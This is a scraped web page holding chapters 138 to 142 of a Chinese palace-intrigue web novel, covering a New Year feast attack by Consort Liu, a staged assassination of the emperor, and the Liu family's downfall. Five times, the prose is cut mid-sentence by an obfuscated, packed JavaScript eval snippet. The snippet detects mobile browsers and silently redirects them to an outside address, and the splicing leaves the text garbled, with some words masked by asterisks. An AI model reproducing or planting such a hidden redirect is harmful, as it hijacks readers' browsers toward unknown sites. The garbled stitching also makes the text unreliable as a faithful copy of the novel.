;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489023|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采摘两只新鲜的,谁曾想今一大早传来消息,大虞圣山接连下了几日暴雪,派了几波人进山都有去无回。” “原打算作为新年贺礼送给父皇的雪莲……” 惋惜地叹了一口气。 “求父皇恕罪。” 众人面色一凛,心里盘算,七日前送信,又收到回信,今早又收到消息…… 大虞上京距离雍国都城近两千公里,往来通信少说十天半月,她这七天就来回这么多次,还是和大虞女皇单线联系,消息畅通。 也就是说,温若初想从大虞调来点什么三日左右就能到达都城。 老皇帝嘴角抽搐两下,威胁里带着孝顺,孝顺里带着威胁,琢磨不透威胁更多一些,还是孝顺更多一些。 “老九媳妇费心了,那雪莲既是如此珍贵之物,朕不好夺爱,因朕伤了大虞子民性命,朕诚感惶恐。” 温若初又谦让几句,老皇帝说什么都不要雪莲了。 温若初和沈惊澜坐回位置。 沈惊澜凑近温若初,低声道。 “我们两个人就可以的,搬出你外祖姑母就不怕把他们吓到?” 温若初顺着沈惊澜的话调侃。 “直接把他们吓死,咱们俩就省事了。” 两人相视一笑。 温若初七日前的确是给女皇写过书信,不过信的内容不是为了老登向女皇讨要雪莲,而是询问女皇身体状况。 书中女皇活不过开春,虽说解决了上官,女皇身边也有胡庸照顾,可温若初还是惦记。 没过几日女皇回信,女皇身子无碍,还问了这边进展。 一寄一回,字里行间和雪莲半点关系没有。 温若初有些无聊,吃茶水和点心,偶尔和身边勋贵官眷说上两句话。 依旧是自己偷偷带了茶水点心,点心样式和宫宴上的点心外观上看起来差不多。 “九弟,九弟妹。” 四皇子妃张氏,从温若初背后绕了过来。 第138章 一位母亲的底线 “四皇嫂。” 温若初欲起身行礼被张氏制止住了,沈惊澜起身对张氏点点头,算是打过招呼。 早晨月儿还说四皇子妃除夕宴的衣裳是鲜亮颜色的宋锦,除夕宴却穿着烟青色袄裙来的。 众宗妇宫妃大多和温若初一样,穿的都是素净衣裳。 只皇后和太子妃两位身穿大红,坐在第一排位置尤其显眼,也不知道有什么喜事,婆媳两人有说有笑。 柳妃的位置空着,出去有一阵子了,除夕宴刚开始的时候,还有人上前安慰几句,随着宴席开始,安慰的声音逐渐没有了。 许是瞧着柳妃不在,四皇子妃才过到她这边来。 温若初让丫鬟寻来一方矮凳,请四皇子妃张氏坐下。 张氏摊开方巾,眉眼间带着温和笑意。 “我亲手绣的两个小肚兜,送给两位小公子,九弟妹不要嫌弃,我找高僧开过光,小孩子出生之后,要穿红才能镇得住邪祟。” 两个红缎面比巴掌大些的小肚兜,上面绣着童戏莲蓬,绣的孩童胖乎乎的,针脚细腻,神态生动有趣,活灵活现。 能看出来是用了心的。 上次张氏提醒过她,皇室子嗣有问题,张氏经历过丧子之痛,人瞧着老实本分,温若初对张氏第一印象不错。 但四皇子沈雨霁站皇后的太子,温若初不敢掉以轻心。 温若初接过来,指腹在小肚兜胖乎乎孩童上轻轻抚了抚,她的孩子应该也和上面的孩子一样可爱。 “谢四皇嫂,四皇嫂的手可真巧。” 忽然手上一轻,两个肚兜被人抽走,柳妃不知道什么时候站到温若初和张氏前,垂眼打量肚兜。 恶狠狠地瞅了沈惊澜一眼,两个肚兜攥在手心里皱皱巴巴。 温若初起身。 “见过柳妃娘娘,四皇嫂送给妾身的小孩子物件,让高僧开过光,娘娘若是喜欢,妾身让府里最好的绣娘给娘娘绣一件。” 柳妃错开视线,看向温若初。 “本宫的孩子没了,你的孩子凭什么还康健地活在你肚子里,凭什么?!” 最后一句是突然嘶吼出来的。 攥得皱皱巴巴肚兜发狠一般扔到地下,狠狠踩了两脚。 “凭什么?” 柳妃眼底通红,疯魔一般朝温若初扑来。 沈惊澜和温若初位置靠后,矮桌与矮桌之间距离相对狭小,四皇子妃张氏过来又添了一个凳子,更挤了。 温若初站在凳子和矮桌之间,柳妃发疯太过突然。 温若初反应不及,眼瞅避无可避,本能地护住肚子,身体后倾,宁可摔到自己也不能摔到孩子。 沈惊澜一把从身后扶住她,一个利落转身侧踢,抬脚就把扑过来的柳妃踹出好几仗远。 柳妃落到隔着一条过道,对面的矮桌上,盘子杯子酒盏稀里哗啦洒落一地,闹出了不小动静。 长乐宫瞬间安静下来。 柳家百年世家,和柳家沾亲带故的不少,附近当即有年长宗亲跳出来斥责沈惊澜。 三五个宫女扶起柳妃,柳妃坐地哀嚎刚刚薨逝的六皇子沈飞白。 场面一度混乱,四皇子沈雨霁趁乱把张氏拉了回去。 “怎么回事?”老皇帝怒着声音问。 方才训斥沈惊澜的年长宗亲向老皇帝控诉。 “启禀陛下,荣王以下犯上,大殿之上行凶踢了柳妃娘娘一脚,此等恶行绝不可姑息,望陛下严惩不贷。” 说话的老头按辈分是老皇帝的叔叔,其妻出身柳家。 又有人出来解释,“启禀陛下,是柳妃娘娘言语挑衅在先,抢荣王妃为两位小皇孙准备的肚兜,当脚垫子踩,欲行刺荣王妃在后……” 看向为柳妃辩解的老头,“……闲王老眼昏花护短,还是帮凶,当陛下瞧不见,不言明前因后果,断章取义,只挑着说?” 说话的人是老皇帝最小的弟弟,年纪和沈惊澜相仿,名沈烨,喜游山玩水,常常三五个月不见人影,妥妥的纨绔。 一顶刺客帮凶的大帽子扣了过来,闲王气的花白胡子飞起,指着沈烨手指颤抖。 “你……” 柳妃怨毒地盯着温若初的肚子。 “本宫的孩子没了,一命还一命,你的孩子也不能活!!” 说话又要朝温若初扑过来,被几个嬷嬷按着,丝毫动不得。 “行了!” 老皇帝脸色黑如锅底,厉声呵斥,“是非曲直朕已明了,柳妃丧子失心,应回宫静养,来人送柳妃回宫,无故不得外出。” “无故不得外出”基本就等同于幽禁,就差明说了,在场和柳家沾亲带故的均是一脸震惊,柳家可是百年世家,根系庞大。 老皇帝不指望柳家稳固雍国江山了? 见老皇帝是动了怒,有怨言,却不敢为柳妃求情,毕竟方才是柳妃发疯,让人钻了空子。 柳妃不愿意走,挣扎着,嘶吼着,鼻涕一把眼泪一把的。 “陛下,是沈惊澜杀了飞白,您要为飞白做主啊,陛下。” 嬷嬷扯着柳妃的胳膊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492260|170164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人往出拖拽,柳妃头上花钿都掉了,高高在上的宠妃,如今狼狈的如深宫里神志不清的怨妇。 柳妃被拖到门口,回头瞪着温若初,大声叫喊。 “你腹中孩子不得好死——” 对于一个母亲来说,世界上最怨毒的诅咒莫过如此,温若初站在原地,看着被拖拽出去的柳妃,第一次有亲手宰了一个人的想法。 除夕宴尚未结束,温若初被皇后带到偏殿歇息,还叫了太医过来请脉。 并无大碍,只是受到了一些惊吓。 皇后拉着温若初的手,“可怜见的,柳妃那个疯婆子也真是的,陛下体恤她失了六皇子不必来除夕宴,她不听非要凑热闹,人各有命,六皇子薨逝了,拿你撒的什么气。” “幸亏没什么大事,若是出了点差池,本宫为六宫之首,没照顾好小皇孙,罪过可就大了。” 柳妃发疯袭击她的时候,旁人都起身下意识拦着,这位皇后的屁股可沉着呢。 温若初扯了扯嘴角,“皇后娘娘严重了,儿臣没那么娇气,娘娘不必陪着儿臣。” “行,”皇后起身,“老九媳妇你先在偏殿歇着,本宫命人熬煮一碗茯苓膏过来。” “谢皇后娘娘。” 太子妃萧蔷等在门口,见皇后出来,迎上前。 “恭喜母后,贺喜母后,父皇这次终于斥责了柳妃,母后出了一口恶气。” 皇后嘴角得意翘起,睨了一眼太子妃萧蔷。 “你只看见了陛下训斥柳妃,这里面大有门道。” “什么门道?”太子妃萧蔷搀扶皇后的胳膊。 “柳正平现在还没官复原职,眼下又借由子处置了柳妃,柳家开始走下坡路喽!” 太子妃有点不相信,“柳家可是百年世家,柳妃倒了,还有出身柳家的丽嫔,说不定过两日就有柳家女儿入宫了。” “陛下身子骨不行了,进来一百个柳家女儿,没有子嗣也是白搭。” 皇后想起这些年收拾的一个又一个柳家人,就一肚子怨气。 “柳家不过是困兽之斗,做最后挣扎罢了,它越挣扎死得越快。” 太子妃有些忧心。 “百足之虫死而不僵,柳家怕不是那么好对付的。” 皇后笑了笑,意有所指道。 “不急,温若初和沈惊澜自会帮我们对付柳家。” 太子妃萧蔷觉得皇后大概也疯了,都开始说胡话了。 一个没什么用的礼部侍郎,一个和亲公主,他们能斗得过柳家? 第139章 过年 除夕宴子时结束,结束之前要放爆竹烟花,然后各回各家。 温若初掐算着时辰,感觉除夕宴快结束了,从炕榻起身。 偏殿地龙生得很暖,狐裘大氅裹得严严实实,秋菊又给了她一个汤婆子,温若初才推门出去。 皇宫各处都点着灯,雍国似乎比大虞的雪多了一些,夜空又飘起了雪花,雪花围着灯笼飞舞,闪着银光。 “又下雪了,”秋菊抱怨一句,提醒温若初,“公主当心脚下。” 温若初经过两个廊柱,拐角处一抹绛紫色身影,身形高挑消瘦,一身凛然正气,头上乌沙落了一层薄雪,应该是站在这里很久了。 温若初脚步微顿,走上前,微笑点头,算是打过招呼。 沈惊澜说凌玄礼对她有别的想法,温若初没看出来,凌玄礼那种正得发邪的人喜欢的应该是从小被教育三从四德的大家闺秀。 凌玄礼又不是不知道她和沈惊澜的关系,怎么可能干出来惦记人家媳妇的事。 再者说,她向来随心所欲,又有些离经叛道,凌玄礼是脑子进水了,才会对她生出别的心思。 后来温若初也想过,这里到底是封建古代社会,男女大防,确实不该和凌玄礼喝酒。 尽管温若初不相信凌玄礼对她有别的想法,平常还是应该多注意一些。 温若初没有过多的眼神交流,脚步不停,就要经过凌玄礼。 凌玄礼却叫住了她。 “若初公主。” 温若初顿住脚步,回头,“凌大人。” “本王有几句话和你说。” 温若初:“凌大人有话不妨直说。” 凌玄礼见温若初没有让秋菊回避的意思,沉默一瞬,深吸一口气,缓缓道。 “这里不适合你,大虞养得起你和孩子,只要你一句话,可以随使团回大虞,做你无忧无虑的若初公主,你在这里遭受磋磨,圣人指不定怎么心疼你呢,圣人的意思,你在这里过得不好,让我把你带回去。” 温若初暗暗松了一口气,就说凌玄礼怎么可能对她有什么。 原来凌玄礼是受了圣人之命,对她多关照了一些。 是沈惊澜心思太过敏感,小题大做。 “凌大人好意,小初心领了,今日柳妃突然发狂,不过是个意外,我尚能自保,圣人年纪大了,凌大人莫要让圣人徒增烦恼。” 温若初定定道:“这边的事还没了,暂时不能回去。” 沈惊澜还没名正言顺登上皇位,雍国还没结束四分五裂局面,她得为自己,为孩子挣个好前程,在这里她的孩子将来可以承袭皇位,她是太后。 权利是个好东西,有了权利可以做很多事。 凌玄礼眉心微蹙,面上极力掩饰关心,犹豫道。 “可是……” “咻——” 一道绚烂烟花,在夜空绽开,打断凌玄礼的话。 “放烟花了。” 温若初抬腿就走,不忘回头和凌玄礼告别。 “凌大人回见。” “哎……” 凌玄礼站在原地,看着那抹娇俏身影,在烟花绚烂的夜空下,逐渐远离自己的视线。 直到人拐了两个弯,消失在视野里,他喃喃道。 “慢些。” 温若初急着找沈惊澜,第一次和沈惊澜在一起过年,可不能错过了子时的钟声。 方才在长乐宫吃席的众人,这会都出来看烟花,长乐宫前有些拥挤。 夜空被五颜六色烟花照亮,耳边响起噼里啪啦爆竹声,温若初在人群里搜寻沈惊澜身影,忽觉有人从身后一把揽住了她的肩膀,三步并作两步将她带离人群。 侧脸贴着一个温热的身体,鼻腔充斥着一股熟悉的凛冽气息。 温若初欣喜地看向沈惊澜。 “沈惊澜,我正找你,你去哪了?” 沈惊澜把温若初带到人少的地方,牵着她的手,径直朝宫外走,没回答她的话,简单两个字。 “回府。” 回府? 温若初意犹未尽地瞅了一眼烟花。 “不等一会儿吗?” 两人坐上马车,直接回荣王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492261|170164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 府里一片欢声笑语,打闹声一片,听着说笑声就能感觉到是发自内心的,比长乐宫里那些自诩一家人的皇室宗亲气氛好多了。 “公主,姑爷你们回来了。” 冯文见沈惊澜和温若初回来,小跑着走到院子里,点燃了早已准备好的烟花。 府兵小厮丫鬟嬷嬷们都挤出来看烟花,烟花绚丽绽放,混在别家燃的烟花中。 “你准备了烟花?” 温若初站在最佳观赏位置,仰着小脸,眉眼含笑,看着自家院子燃的烟花,瞄了沈惊澜一眼,嗔怪道。 “不早说。” 早知道沈惊澜准备了烟花,早就随便寻了借口回来了。 沈惊澜侧目看着温若初。 温若初的小腹隆起得明显,巴掌大的小脸没见多长肉,眉眼间跃动的灵光,不减分毫。 仿佛怀孕这事儿,对她而言,不过是添上了一抹温柔的母性光辉,让她的神韵更加温婉动人。 荣王府的王妃怀着身子,事无巨细地张罗过年琐事,沈惊澜猜想,她一定是喜欢烟花的。 除夕夜对于沈惊澜来说,和无数个冰冷日夜没什么区别,吃饭,睡觉,研究怎么搞死老皇帝和沈星驰。 可今年却不一样了,或许是受到荣王府年味的影响,看着温若初忙前忙后地张罗,他也想做点什么。 寻思了几日,提前命人准备了一些烟花。 温若初和凌玄礼说话的时候,沈惊澜凑巧去找温若初,听了几句。 温若初愿意留在雍国,沈惊澜心里却不是滋味。 烟花持续了半个时辰,夜空归于平静,沈惊澜道。 “你在府里等些时日,外面的事交给我。” 沈惊澜的语气平静,眉心微微蹙着,面色凛然而严肃,负手而立,空气中弥漫着一股硝烟味,静静地站在那,像一个准备前往战场的将军。 今日柳妃发疯袭击她,以及被拖出长乐宫最后那句怨毒的诅咒,大概也是惹**了沈惊澜。 温若初点点头。 “好。” 第140章 ** 柳妃被老皇帝敕令在翠云居养心病,沈飞白的府邸在宫外,她这个母妃却不能去见。 宫妃是不能随意出宫的,柳妃只在沈飞白咽气那日,获得老皇帝恩准,去看了一眼。 赶上过年,别人都欢喜团圆,她的儿子却躺在冰冷棺椁里…… 柳妃的心比屋外的雪花还冷。 她确信沈飞白的“病”,就是沈惊澜背后搞鬼,却苦于没有证据。 除夕宴见到温若初挺着肚子,和沈惊澜夫妻恩爱,有说有笑。 犹如无数根针,扎在柳妃心口。 她早就想发疯弄死沈惊澜和温若初了。 只恨自己没长三头六臂弄死温若初肚子里的孩子。 反倒惹了陛下的嫌。 她不后悔。 只是…… 兄长还在禁足教导侄子柳知意,儿子沈飞白突然薨逝,如今她又被软禁翠云居。 有些后悔没早听兄长的话,把族亲的女儿多弄宫里几个,多生几个儿子。 沈飞白**,还能用沾有柳家血脉的孩子顶上。 如今是说什么都来不及了。 柳妃瘫坐在翠云居冰冷地板上,听着外面阵阵爆竹声响,一股滔天恨意涌上心头。 转念一想,不行,柳家不能就这么完了。 她还有子侄,柳知意仪表堂堂,文韬武略,若是有朝一日位极人臣,一样可以让柳家屹立不倒。 陛下还说柳知意是好孩子。 柳妃爬了起来,抬手抹干净眼底泪水,到书案前提笔写了一封信,折好,塞进信封,递给身边伺候的小宫女。 “这个给本宫兄长送去。” 小宫女接过信,点头应声,“是。” 除夕过后,都城各王府勋贵世家要举办春日宴,荣王府多少也算新晋勋贵,邀请帖收到了不少。 温若初放出话,除夕宴受到了惊吓,身子抱恙。 大家都企盼新的一年顺风顺水,平常连说话都注意,忌讳晦气的话。 大正月身子抱恙,谁都不愿意触霉头。荣王府门口安静了。 一直到正月十五上元节,沈惊澜作为礼部侍郎以及九皇子,连带太子和其他几位皇子,陪同老皇帝去法华寺点灯。 上元节后,这个年算是真正过完了,新的一年开始。 皇帝去法华寺在佛祖面前点灯,告诉佛祖新的一年庇佑雍国子民。 一大早沈惊澜走的时候告诉她,会晚些回来。 结果,一整晚都没回来,一大早宫里来人传信,老皇帝**,沈惊澜为老皇帝挡了一刀,受了伤。 传话的是王公公,为人刻板,是沈惊澜的人,王爷怎么传话给他的,他就怎么转述给王妃,恭敬道。 “昨儿陛下和王爷他们在法华寺将就一宿,王爷说他并无大碍,王妃当心身子,切莫过于挂心。” “估摸着晚一会儿,王爷就能回来了。” 不是她不相信沈惊澜武功,实在是敢行刺皇帝的,都是抱着必死决心的亡命之徒。 为那老登挡一刀,不说值不值得。 就说刺客那一刀,肯定是下了死手,沈惊澜能无碍? 温若初脸色煞白,手有些凉。 “劳烦公公跑一趟了。” 送走王公公没多久,门房的人传话。 “王爷回来了。” 温若初赶紧出门去迎,门口两列威风凛凛大内禁军,护送一辆高大威武华丽八乘马车,竟然是老皇帝的銮驾,老皇帝的亲随李公公亲自护送。 荣王府门口巷子狭小,堵得满满登登,迫使往来车马绕道而行。 沈惊澜被人从马车上抬下来。 沈惊澜眼眸闭合,脸色煞白,白色纱布包裹着前胸,左一圈右一圈,裹得严严实实跟木乃伊似的,身上搭盖着沈惊澜早晨走的时候穿的那件玄色衣袍,前襟一大片暗色血迹。 沈惊澜气息微弱地躺在架子上,瞧着就吓人。 这是皮外伤? 温若初脑子嗡的一声,扑了过去,哭喊。 “沈惊澜你怎么样了?你可千万别死啊,你**我怎么办啊?” 李公公神色凝重,看到温若初挺着肚子哭得伤心,拧眉微微叹了一口气,似乎是在可怜温若初年纪轻轻做了寡妇。 秋菊和月儿赶紧扶住温若初。 “公主当心身子。” 李公**慰温若初。 “荣王妃娘娘快把王爷送屋里去吧,陛下说了王爷的这份孝心无人能及,勇气可嘉,等王爷身子……” 哽咽一声,吸了吸鼻子,“……王爷身子好了,陛下定有重赏。” 温若初正哭得伤心,指尖忽然被捏了一下,哭声不觉小了些,她垂眼看向沈惊澜。 沈惊澜依然闭着眼睛,没什么生气地躺在那。 温若初微微顿了一下,眼角余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498709|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光瞥了一眼李公公,哭得更伤心了。 “我领着孩子今后该怎么活啊?” 让人把沈惊澜抬府里去,怨怼地瞅了一眼李公公,连客气话都没说,就让人关上了大门。 方才抬沈惊澜的小太监对着紧闭门板,轻嗤一声,凑到李公公身边,愤愤不平道。 “这位荣王妃的性子好像不大好相处啊,干爹您可是伺候的陛下的,谁不给您三分面子,咱们费劲地把人送回来了,赏银没有就算了,连句客套话都不会说。” “就你话多!” 李公公用拂尘木柄敲了小太监脑袋,陛下法华寺**,荣王挡刀,出了半盆的血。 随行御医检查过伤势,伤及脏腑,十有**这条命是保不住了。 能熬过这几日算是荣王命大,熬不过,替陛下挡刀而死,也是荣王前世修来的福分,算了折了寒妃当年勾引太子殿下的罪孽。 人心都是肉长的,瞧着温若初挺着肚子哭得伤心模样,任谁见了心里都不好受。 李公公没好气地数落小太监。 “也不看看荣王妃之前是什么人,大虞女皇跟前千娇百宠的郡主,荣王重伤生死未卜,没拿着**出来问罪,就是咱爷俩的造化,还要什么赏银!” 温若初赶紧命人把沈惊澜抬去内院,放到床上。 “秋菊去请古叔过来,月儿去烧些热水,剩下的人都出去。”温若初吩咐道。 “是。” 丫鬟小厮都被温若初打发走了,屋里只剩下躺在床上的沈惊澜和温若初。 温若初回手关上门,快步走到床边,沈惊澜已坐起身,唇边噙着一抹若有似无的笑意。 果然是装的,温若初心底暗暗松了一口气,狠狠拍了一把沈惊澜后背,急声问道。 “你怎么回事?” 沈惊澜身体前倾一下,下意识捂住胸口,蹙眉头“嘶”了一声。 真受伤了! 温若初瞪大眼睛,关切道。 “你……你怎么样了。” 沈惊澜额头上渗出一层虚汗,扯了扯嘴角,摇摇头。 “我没事,昨晚我随驾前往法华寺……” 沈惊澜轻描淡写老皇帝**,以及沈惊澜挡刀的经过。 他说得轻巧,温若初听得心惊肉跳,脑补一出武侠权谋动作大片。 原来,沈惊澜早知道法华寺会有这么一出行刺戏码。 第141章 沈惊澜受伤,温若初和衣相守 沈飞白**,柳家唯一的指望没了,柳正平被禁足,柳妃幽禁宫中。 柳家旁系分支,也在沈惊澜明里暗里塞进御史台的罪证中,或是主谋或者被殃及,柳氏这棵植根于都城,根系发达的参天大树,以迅雷之势迅速枯败。 柳家看着光鲜,实已走到穷途末路, 太子若是登基,一直存有野心和太子缠斗的柳家,就真的完了。 柳家兄妹急于摆脱柳家现状,想趁老皇帝没死,托举一个晚辈出来。 让柳知意那个二傻子伴驾随行,又设计了一出行刺戏码,想让柳知意护驾,进而斩杀刺客。 护驾等于是救了老皇帝一命,是天功。 柳家兄妹的计划不错,可没想到计划被沈惊澜提前全盘得知。 那刺客是柳正平府上死侍,有点身手,不是真刺杀,又恐伤到柳知意,这一刀的力道很有分寸。 那柳知意是个不中用的,刺客过来的时候,动作慢了一些。 沈惊澜为抵抗体内寒毒,从小习武,身体灵活,避开身体重要脏器,抢先一步挡在老皇帝面前,没直接刺杀刺客,反而留了那刺客一命。 温若初听得后怕,解开沈惊澜身上缠裹的纱布,胸口明晃晃一道三寸长,创面平滑整齐伤口,隐隐往外渗血,鲜血和白色药粉混合在一起,糊在伤口上。 看着就疼。 “知道有刺客,还把自己伤成这样?” 温若初嘴里嘟囔着,鼻子有些酸涩,吸了吸鼻子,抬手抹了一把眼底没出息流出的眼泪。 “快躺下,一会儿古叔过来给你瞧瞧伤。” 沈惊澜面色煞白,看着温若初,嘴角含笑,似乎是在嘲笑她的傻。 “这伤口就是古叔包扎的,古叔也刚回来,那么大年纪了,让他歇会,我也累了,你陪我睡会儿。” 这伤是沈惊澜故意让刺客刺在他身上的。 沈惊澜提前得知柳家兄妹计划,提前安排古叔去法华寺,以备不时之需。 沈惊澜受伤之后,被安排到房间里。 随行御医光忙活老皇帝了,安置完老皇帝才检查他的伤势。 趁着空档古叔简单处理了沈惊澜伤口,瞧着吓人,实际上不打紧,又弄了些动物的血撒衣襟上。 御医草草检查一遍伤口,瞅见地上的出血量,下了活不久的诊断。 老皇帝面子功夫做得足,让自己的銮驾送沈惊澜回府,彰显自己有情有义,不忘沈惊澜救命之恩。 温若初帮沈惊澜把伤口重新包扎上,理了理床褥,让沈惊澜休息,自己和衣躺在沈惊澜身边。 沈惊澜大概是没休息好,躺床上没一会儿就睡着了,温若初的大脑却正活跃。 不受控制地琢磨柳家。 柳家为给柳知意铺路,自导自演了一出行刺戏码,被沈惊澜抢了功,刺客还活着。 老皇帝一定会用尽手段审问刺客。 柳家这次是赔了夫人又折兵。 活着的刺客,对于柳家来说就是定时**。 柳妃估计是坐不住了。 皇宫,翠云居,柳妃寝宫。 柳妃一夜没睡,站在宫门口张望,小宫女慌里慌张进来。 柳妃屏退左右,急着问。 “计划进行得怎么样,知意成了吗?” 小宫女神色慌张,跪地摇头。 “没有,世子慢了一步,被随行的沈惊澜抢了先。” 柳妃瞪大眼睛,一脸不敢相信,尖厉着声音怒吼。 “知意这孩子怎么回事,本宫和兄长都为他谋划到这种程度了,到嘴的天功,就差掰着下巴喂到他嘴里,怎么这么不中用,被沈惊澜抢去了!” 小宫女被吓得哭哭啼啼,等柳妃发完脾气,才敢继续道。 “还有那刺客……还活着……” 柳妃脸上血色瞬间退得干干净净,四肢失力,瘫坐地上,瞳孔半天聚焦不到一处。 小宫女扶柳妃坐到软榻里。 “娘娘,您没事吧,您可别吓奴婢?侯爷那边应该得了消息,一定会想办法的。” 柳妃缓了好半天,才找回点心神,反应有些迟钝地看向传话的小宫女,捏着小宫女的胳膊,牙齿间溢出一句话。 “你快去告诉兄长,绝对不能让那个刺客供出柳家!” 刺客若是供出柳家,柳家这次可就真的完了。 小宫女的胳膊被柳妃捏得生疼,眼泪都快出来了,呲牙咧嘴地不敢吭声,连连点头答应。 “好好好,奴婢这就想办法传话出去,告诉侯爷。” 荣王府大门紧闭,沈惊澜养了两日的伤,已能下床行走。 温若初过去搀扶沈惊澜。 “我自己能走。” 沈惊澜从床上起身,说着这么说,还是搭上温若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498710|169526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初的手。 到底是伤及脏腑,身子虚弱,沈惊澜的脚步有些虚浮。 虽说是苦肉计,温若初还是觉得沈惊澜替那个老登挡刀不值当,苦中作乐自嘲道。 “咱俩现在是病残孕,若是有人想要你我性命,这会儿正是时候。” 沈惊澜被她逗笑了。 “你倒是挺会替贼人着想。” 两人说笑一阵,范天**了。 沈惊澜身穿素白里衣,直接问范天恩。 “何事?” 范天恩拱手道,“王爷,牢房那边的人说,刺客死活不承认是柳正平主使,楞说是自己看不惯陛下怠政行刺陛下,用不用上点特殊手段?” 刺客计划失败后,被老皇帝下令关进刑部天字号牢房,老皇帝自己的人看守。 昼夜不停审讯,刑部酷刑都用了一个遍。 前几日那刺客还闹了两次自尽,被及时发现救了回来,留下一口气。 沈惊澜沉吟半晌道:“那刺客是柳正平豢养的死侍,陛下的人撬不开嘴也正常。” 范天恩拧了拧眉头。 “如此一来柳家丝毫没有损失,王爷的这一刀岂不是白挨了?” 自沈惊澜受伤以来,温若初对外大肆散播消息,沈惊澜护驾伤势过重,一直昏迷着,谢绝见客。 老皇帝象征性地派人来过问沈惊澜伤势,赏赐了一些药材补品。 官职,银钱……实打实的东西一样没有。 这段时间温若初没闲着,造足了势,又有天机阁广泛传播,街头巷尾都在说沈惊澜护驾受伤的事。 老皇帝只要不想被唾沫星子淹死,在史书上留下一个好名声,加官进爵,金银财宝一样都不能少了沈惊澜的。 沈惊澜和旁人议事已经不避着她了,温若初在一边听着,状似闲聊似的随口道。 “不会白挨这一刀的,且等着吧。”她扶沈惊澜坐椅子上。 “那刺客是陛下的人亲自看押,我们手握天机阁,得到天牢的消息,尚且费些力气,柳家如今一团乱麻……” 温若初意有所指道:“……可不一定能得到准确的消息,刺客在天牢里说了什么,做了什么,只有陛下知道,旁人谁知道呢。” “柳家豢养的那些死侍总不能个个都是硬骨头的,只要诱捕一个进来,撕开一个口子,后面的事可就好办多了。” 第142章 诅咒不能随便说出口 皇宫,翠云居,柳妃寝宫。 柳妃侧卧在床榻里,悠闲地吃着陛下赏赐的沃柑。 刑部天牢如铁桶一般,一点消息都打听不到,柳妃起初还惦记了几日,后来陛下也没寻柳家和她的麻烦。 柳正平也传消息进来,刺客那边已经摆平了,刺客是柳正平豢养的死侍,妻儿都在镇南侯府,拿捏着刺客妻儿性命,刺客不敢胡乱攀咬。 柳妃算是彻底放下心,一大早陛下赏赐一筐水果。 正是青黄不接的季节,水果金贵着,柳妃觉得柳家的这一难,算是有惊无险的过去了。 只是有点可惜了她和兄长的筹谋,让沈惊澜捡了功。 最让柳妃舒心的是,沈惊澜替陛下挡了刀,陛下只赏赐了沈惊澜一些药材和补品,其他什么都没有。 贱人生的野种,还是贱人。 陛下嘴上不说,心里一定是厌恶的。 沈惊澜就算是把命搭进去,巴结讨好陛下,陛下也不会承他的情。 柳妃往嘴里塞了一瓣沃柑,自我安慰地想着。 “兴许是陛下知道了害死六殿下的凶手是沈惊澜,陛下故意压着沈惊澜,用以宽慰六殿下在天之灵……” 柳家安生了没几日,刑部天牢突然传出口风,行刺老皇帝的刺客要招认。 消息是真是假无人得知,甚至没有人说清楚刺客招认的消息到底是不是从刑部天牢传出来的。 消息传出来的第二天晚上,刑部逮住一个私下和刺客说话的衙役。 衙役不是刑部的人,一番审问,衙役受不住轮番皮肉之苦,招认是镇南侯柳正平的人,偷偷潜入刑部天牢是受柳正平指使,灭刺客的口。 老皇帝盛怒,迅雷之势拔掉柳家。 